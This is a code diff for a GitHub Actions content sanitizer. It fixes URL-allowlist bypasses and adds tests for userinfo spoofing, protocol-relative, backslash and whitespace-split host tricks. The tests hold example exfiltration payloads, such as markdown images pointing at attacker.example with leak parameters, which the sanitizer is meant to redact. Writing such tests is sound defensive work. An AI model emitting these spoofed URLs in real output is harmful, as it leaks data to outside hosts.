diff --git a/.changeset/fix-protocol-relative-url-userinfo-bypass.md b/.changeset/fix-protocol-relative-url-userinfo-bypass.md new file mode 100644 index 00000000000..9915a12e7c1 --- /dev/null +++ b/.changeset/fix-protocol-relative-url-userinfo-bypass.md @@ -0,0 +1,5 @@ +--- +"gh-aw": patch +--- + +Fixed a family of URL-allowlist bypasses in the content sanitizer where its regex view of a URL disagreed with the URL parser that ultimately fetches the URL, letting an attacker present an allowlisted host while a browser resolved a different one. `https://github.com@evil.com/x` and `//github.com@evil.com/x` both connect to `evil.com`, since everything before the last `@` is userinfo — in a markdown image this was a zero-click exfiltration channel via GitHub's camo proxy. Four differentials are closed: the authority no longer swallows the following URL's delimiter (`https://a.com,https://github.com@evil.com/` previously escaped stripping entirely); the URL-start delimiter set now covers `<` and `=` so HTML attributes and CommonMark angle-bracket destinations are examined, and is shared between the stripping and filtering passes so they cannot disagree; backslash separators (`\\host`, `/\host`) are recognized and normalized, as URL parsers treat `\` as `/`; and tab/CR/LF inside an authority are discarded before the host comparison, matching URL parser preprocessing, rather than being treated as terminators. diff --git a/actions/setup/js/sanitize_content.test.cjs b/actions/setup/js/sanitize_content.test.cjs index 5b3c51dd2ae..a4fc629ca92 100644 --- a/actions/setup/js/sanitize_content.test.cjs +++ b/actions/setup/js/sanitize_content.test.cjs @@ -1382,6 +1382,198 @@ describe("sanitize_content.cjs", () => { }); }); + describe("URL userinfo authority spoofing", () => { + // A URL authority may carry a "userinfo@" prefix. Everything before the last + // "@" is credentials, not the host, so "https://github.com@evil.com/x" + // connects to evil.com even though the allowlisted "github.com" appears + // first. Redaction must key off the real host in every URL form. + + it("should redact an https URL whose allowlisted host is only userinfo", () => { + const result = sanitizeContent("https://github.com@evil.com/x"); + expect(result).toContain("(evil.com/redacted)"); + expect(result).not.toContain("evil.com/x"); + }); + + it("should redact a markdown image whose https host is spoofed via userinfo", () => { + // Zero-click exfiltration vector: GitHub's camo proxy fetches image URLs + // server-side when the rendered comment is viewed. + const result = sanitizeContent("![x](https://github.com@attacker.example/pixel.gif?leak=SENTINEL)"); + expect(result).toContain("(attacker.example/redacted)"); + expect(result).not.toContain("SENTINEL"); + }); + + it("should redact a protocol-relative URL whose allowlisted host is only userinfo", () => { + // Browsers on an HTTPS page resolve //host/path to https://host/path. + const result = sanitizeContent("//github.com@evil.com/x"); + expect(result).toContain("(evil.com/redacted)"); + expect(result).not.toContain("evil.com/x"); + }); + + it("should redact a markdown image whose protocol-relative host is spoofed via userinfo", () => { + const result = sanitizeContent("![x](//github.com@attacker.example/pixel.gif?leak=SENTINEL)"); + expect(result).toContain("(attacker.example/redacted)"); + expect(result).not.toContain("SENTINEL"); + }); + + it("should redact a protocol-relative URL with no path when the host is spoofed", () => { + const result = sanitizeContent("//github.com@evil.com"); + expect(result).toContain("(evil.com/redacted)"); + expect(result).not.toContain("github.com@"); + }); + + it("should redact a protocol-relative URL whose userinfo carries a port", () => { + const result = sanitizeContent("//github.com:443@evil.com/x"); + expect(result).toContain("(evil.com/redacted)"); + expect(result).not.toContain("evil.com/x"); + }); + + it("should redact a protocol-relative URL with chained userinfo segments", () => { + // The LAST "@" delimits the real host, so every earlier segment is userinfo. + const result = sanitizeContent("//a@github.com@evil.com/x"); + expect(result).toContain("(evil.com/redacted)"); + expect(result).not.toContain("evil.com/x"); + }); + + it("should redact a protocol-relative URL with user:password userinfo", () => { + const result = sanitizeContent("//user:SENTINEL_PASSWORD@evil.com/x"); + expect(result).toContain("(evil.com/redacted)"); + expect(result).not.toContain("SENTINEL_PASSWORD"); + }); + + it("should redact a spoofed protocol-relative host regardless of case", () => { + const result = sanitizeContent("//GitHub.com@EVIL.com/x"); + expect(result).toContain("(evil.com/redacted)"); + expect(result).not.toContain("EVIL.com/x"); + }); + + it("should redact a spoofed protocol-relative URL inside an HTML src attribute", () => { + const result = sanitizeContent(''); + expect(result).toContain("(evil.com/redacted)"); + expect(result).not.toContain("evil.com/p.png"); + }); + + it("should redact every spoofed protocol-relative URL when several appear", () => { + const result = sanitizeContent("//github.com@evil.com/a //github.com@bad.org/b"); + expect(result).toContain("(evil.com/redacted)"); + expect(result).toContain("(bad.org/redacted)"); + expect(result).not.toContain("github.com@"); + }); + + it("should strip userinfo but keep the URL when the real host is allowed", () => { + const result = sanitizeContent("//github.com@github.com/ok"); + expect(result).toContain("//github.com/ok"); + expect(result).not.toContain("github.com@"); + }); + + it("should not treat an @ in a protocol-relative path as userinfo", () => { + const result = sanitizeContent("//github.com/a@b"); + expect(result).toContain("//github.com/a@b"); + }); + + it("should not treat an @ in a protocol-relative query string as userinfo", () => { + const result = sanitizeContent("//github.com/repo?u=a@b.com"); + expect(result).toContain("//github.com/repo?u=a@b.com"); + }); + + it("should not corrupt // path segments inside an allowed absolute URL", () => { + const result = sanitizeContent("https://github.com//issues"); + expect(result).toContain("https://github.com//issues"); + }); + + // A URL-spoofing check is only as good as its agreement with the parser that + // will eventually fetch the URL. Each case below is a place where the + // sanitizer's regex view of "where does the authority end" or "where does a + // URL begin" once diverged from a browser's, letting a spoofed host through. + + it("should strip userinfo from a spoofed URL that immediately follows another URL", () => { + // A greedy authority once swallowed the "," and the following "https:", + // so the global scan resumed past the second URL and never stripped it. + const result = sanitizeContent("https://github.com/a,https://github.com@attacker.example/p?leak=SENTINEL"); + expect(result).toContain("(attacker.example/redacted)"); + expect(result).not.toContain("SENTINEL"); + }); + + it("should strip userinfo from adjacent protocol-relative markdown images", () => { + const result = sanitizeContent("![a](//x.example)![b](//github.com@attacker.example/p.gif?leak=SENTINEL)"); + expect(result).toContain("(attacker.example/redacted)"); + expect(result).not.toContain("SENTINEL"); + }); + + it("should redact a spoofed host in a CommonMark angle-bracket link destination", () => { + const result = sanitizeContent("![p]()"); + expect(result).toContain("(attacker.example/redacted)"); + expect(result).not.toContain("SENTINEL"); + }); + + it("should redact a spoofed host in an unquoted HTML src attribute", () => { + const result = sanitizeContent(""); + expect(result).toContain("(attacker.example/redacted)"); + expect(result).not.toContain("SENTINEL"); + }); + + it("should redact a spoofed host behind backslash separators", () => { + // URL parsers treat "\" as "/" for special schemes, so \\host resolves + // exactly like //host. + const result = sanitizeContent(''); + expect(result).toContain("(attacker.example/redacted)"); + expect(result).not.toContain("SENTINEL"); + }); + + it("should redact a spoofed host behind a mixed slash-backslash separator", () => { + const result = sanitizeContent(''); + expect(result).toContain("(attacker.example/redacted)"); + expect(result).not.toContain("SENTINEL"); + }); + + it("should redact a disallowed host behind backslash separators without userinfo", () => { + const result = sanitizeContent(''); + expect(result).toContain("(attacker.example/redacted)"); + expect(result).not.toContain("SENTINEL"); + }); + + it("should redact a spoofed host split by a tab, which URL parsers discard", () => { + const result = sanitizeContent(''); + expect(result).toContain("(attacker.example/redacted)"); + expect(result).not.toContain("SENTINEL"); + }); + + it("should redact a spoofed host split by an encoded tab entity", () => { + const result = sanitizeContent(''); + expect(result).toContain("(attacker.example/redacted)"); + expect(result).not.toContain("SENTINEL"); + }); + + it("should redact a spoofed host split by a newline, which URL parsers discard", () => { + const result = sanitizeContent(''); + expect(result).toContain("(attacker.example/redacted)"); + expect(result).not.toContain("SENTINEL"); + }); + + it("should redact a spoofed protocol-relative host in a query parameter", () => { + const result = sanitizeContent("https://github.com/a?redirect=//github.com@attacker.example/p?leak=SENTINEL"); + expect(result).toContain("(attacker.example/redacted)"); + expect(result).not.toContain("SENTINEL"); + }); + + it("should not redact an allowed host that merely follows a newline in prose", () => { + // Tab/CR/LF are tolerated inside an authority only to defeat the parser + // differential above; an ordinary host followed by prose must be intact. + const result = sanitizeContent("//github.com/repo\nnext line of prose"); + expect(result).toContain("//github.com/repo"); + expect(result).toContain("next line of prose"); + }); + + it("should not redact an allowed protocol-relative URL in a query parameter", () => { + const result = sanitizeContent("https://github.com/a?redirect=//github.com/b"); + expect(result).toContain("https://github.com/a?redirect=//github.com/b"); + }); + + it("should leave Windows-style paths untouched", () => { + const result = sanitizeContent("C:\\Users\\me\\file.txt"); + expect(result).toContain("C:\\Users\\me\\file.txt"); + }); + }); + describe("domain sanitization", () => { let sanitizeDomainName; diff --git a/actions/setup/js/sanitize_content_core.cjs b/actions/setup/js/sanitize_content_core.cjs index 60c792d1bdd..94481a132ce 100644 --- a/actions/setup/js/sanitize_content_core.cjs +++ b/actions/setup/js/sanitize_content_core.cjs @@ -209,6 +209,57 @@ function sanitizeDomainName(domain) { return joined; } +/** + * Character class (as a source fragment) for the delimiters that may introduce a + * protocol-relative URL. A "//" is only treated as the start of a URL when it + * sits at the start of the string or immediately after one of these, so that + * "//" segments inside the path of an absolute URL (e.g. + * "https://github.com//issues") are not misread as a new URL. + * + * Beyond whitespace/bracket/quote, this includes the delimiters that actually + * precede a URL in rendered contexts: "<" and "=" for HTML attributes and + * CommonMark angle-bracket link destinations (``, + * `[a]()`), and ",", ">", "|" and "`" which separate URLs in prose, + * tables and markup. Omitting these left renderable URLs unfiltered. + * + * Shared by the userinfo-stripping pre-pass and the protocol-relative filtering + * pass so the two cannot disagree about what counts as a URL start: if the + * strip pass recognized a URL the filter pass did not (or vice versa), a + * spoofed host could be normalized into a form that is then trusted. + */ +const URL_START_DELIMITERS = "[\\s([{\"'<=,>|`]"; + +/** + * Character class (as a source fragment) matching one character of a URL + * authority (the "userinfo@host:port" component). + * + * The authority ends at the path/query/fragment ("/", "?", "#") and at + * whitespace, but it must ALSO end at the delimiters that terminate a URL in + * prose and markup. Consuming those was a bypass rather than a cosmetic issue: + * with a class of merely [^\s/?#], the authority of the first URL in + * "https://x.com,https://github.com@evil.com/" swallowed ",https:", so the + * global scan resumed past the second URL's scheme and never stripped its + * userinfo — leaving the spoofed host to be read as the allowlisted github.com. + * The same applied to adjacent markdown images "![a](//x.com)![b](//host@evil)". + */ +const URL_AUTHORITY_CHAR = "[^\\s/?#,()<>[\\]{}\"'`|\\\\]"; + +/** + * Remove the ASCII tab, CR and LF characters that URL parsers discard. + * + * WHATWG URL parsing strips these from anywhere in a URL before parsing, so + * "//github.com\tA@evil.com/x" is fetched as host "evil.com" with the userinfo + * "github.comA" — while a regex that treats them as terminators sees only the + * allowlisted "github.com". Callers must therefore compare hosts on the + * stripped form to match what a browser will actually request. + * + * @param {string} authority - The raw authority text + * @returns {string} The authority with tab/CR/LF removed + */ +function stripUrlIgnorableWhitespace(authority) { + return authority.replace(/[\t\r\n]/g, ""); +} + /** * Strip URL userinfo (user:password@) from all scheme://... URLs in a string. * This must run before any domain filtering so that credentials embedded in @@ -242,10 +293,52 @@ function stripUrlUserinfo(s) { // the last "@" ensures chained userinfo values (e.g. "a@b@c@host") are // fully stripped, while stopping the authority match at "?"/"#" ensures an // ordinary URL whose query string happens to contain "@" is left untouched. - return s.replace(/([a-z][a-z0-9+.-]{0,30}:\/\/)([^\s/?#]*)/gi, (match, scheme, authority) => { - const at = authority.lastIndexOf("@"); + // + // Tab/CR/LF are allowed *inside* the authority and then discarded, because + // URL parsers discard them too: without this, "https://github.com\tA@evil.com/" + // would present an authority of just the allowlisted "github.com" to the + // filter while a browser fetches evil.com. Tolerating them is safe because a + // rewrite only happens when the cleaned authority contains "@" — so an + // ordinary host that merely happens to be followed by a newline and more + // prose is left untouched. + const schemeUserinfoRegex = new RegExp(`([a-z][a-z0-9+.-]{0,30}://)((?:${URL_AUTHORITY_CHAR}|[\\t\\r\\n])*)`, "gi"); + return s.replace(schemeUserinfoRegex, (match, scheme, authority) => { + const cleaned = stripUrlIgnorableWhitespace(authority); + const at = cleaned.lastIndexOf("@"); if (at === -1) return match; - return scheme + authority.slice(at + 1); + return scheme + cleaned.slice(at + 1); + }); +} + +/** + * Strip URL userinfo (user:password@) from protocol-relative URLs (//host/path). + * + * Browsers on an HTTPS page resolve "//host/path" to "https://host/path", so a + * protocol-relative URL carries the same userinfo-spoofing risk as an explicit + * https:// URL: in "//github.com@evil.com/x" the real host is evil.com, but a + * host pattern that stops at "@" would read it as the allowlisted github.com. + * stripUrlUserinfo() cannot cover this form because it requires a scheme. + * + * The "//" is only treated as a protocol-relative URL when it appears at the + * start of the string or immediately after a URL-introducing delimiter (see + * URL_START_DELIMITERS) — the same anchoring used by the protocol-relative pass + * in sanitizeUrlDomains() — so "//" segments inside the path of an absolute URL + * (e.g. "https://github.com//issues") are left untouched. + * + * Backslashes are accepted in the separator position because URL parsers treat + * "\" as "/" for special schemes, so "\\github.com@evil.com/x" and + * "/\github.com@evil.com/x" both resolve to host evil.com in a browser. + * + * @param {string} s - The string to process + * @returns {string} The string with userinfo removed from protocol-relative URLs + */ +function stripProtocolRelativeUserinfo(s) { + const protoRelativeUserinfoRegex = new RegExp(`(^|${URL_START_DELIMITERS})([/\\\\]{2})((?:${URL_AUTHORITY_CHAR}|[\\t\\r\\n])*)`, "g"); + return s.replace(protoRelativeUserinfoRegex, (match, prefix, _slashes, authority) => { + const cleaned = stripUrlIgnorableWhitespace(authority); + const at = cleaned.lastIndexOf("@"); + if (at === -1) return match; + return prefix + "//" + cleaned.slice(at + 1); }); } @@ -335,8 +428,11 @@ function sanitizeUrlProtocols(s) { function sanitizeUrlDomains(s, allowed) { // Strip userinfo (user:password@) from HTTPS URLs before any domain filtering // so that credentials are never passed to the allowlist check or preserved - // in the output for an allowed domain. + // in the output for an allowed domain. Protocol-relative URLs (//host/path) + // are stripped too, since browsers resolve them to https:// and they are + // subject to the same allowlist check below. s = stripUrlUserinfo(s); + s = stripProtocolRelativeUserinfo(s); // Match HTTPS URLs with optional port and path // This regex is designed to: @@ -421,13 +517,32 @@ function sanitizeUrlDomains(s, allowed) { // The path stop-condition (?!\/\/) stops before the next protocol-relative URL // (analogous to how the httpsUrlRegex stops before the next https:// URL). // Capture groups: + // Second pass: handle protocol-relative URLs (//hostname/path). + // Browsers on HTTPS pages resolve these to https://, so they must be subject + // to the same domain allowlist check as explicit https:// URLs. + // We only treat // as a protocol-relative URL when it appears at the start of + // the string or immediately after a URL-introducing delimiter. The delimiter + // set is shared with the userinfo-stripping pre-pass (URL_START_DELIMITERS) + // so the two passes cannot disagree about where a URL begins. This avoids + // matching // segments inside the path of an allowed https:// URL, such as + // "https://github.com//issues". + // The separator accepts backslashes ("\\host", "/\host") because URL parsers + // treat "\" as "/" for special schemes, so those forms reach the same host. + // The path stop-condition (?!\/\/) stops before the next protocol-relative URL + // (analogous to how the httpsUrlRegex stops before the next https:// URL). + // Capture groups: // 1: prefix (start-of-string or delimiter) - // 2: full protocol-relative URL (starting with //) + // 2: separator (// or a backslash variant) // 3: hostname (and optional port) // 4: optional path - const protoRelativeUrlRegex = /(^|[\s([{"'])(\/\/([\w.-]+(?::\d+)?)(\/(?:(?!\/\/)[^\s,])*)?)/gi; + const protoRelativeUrlRegex = new RegExp(`(^|${URL_START_DELIMITERS})([/\\\\]{2})([\\w.-]+(?::\\d+)?)((?:/(?:(?![/\\\\]{2})[^\\s,])*)?)`, "gi"); - s = s.replace(protoRelativeUrlRegex, (match, prefix, url, hostnameWithPort) => prefix + applyDomainFilter(url, hostnameWithPort)); + s = s.replace(protoRelativeUrlRegex, (match, prefix, _separator, hostnameWithPort, path = "") => { + // Normalize the separator to "//" so a backslash form can never survive as + // an allowed URL in a shape the regex would not re-examine. + const url = `//${hostnameWithPort}${path}`; + return prefix + applyDomainFilter(url, hostnameWithPort); + }); return s; }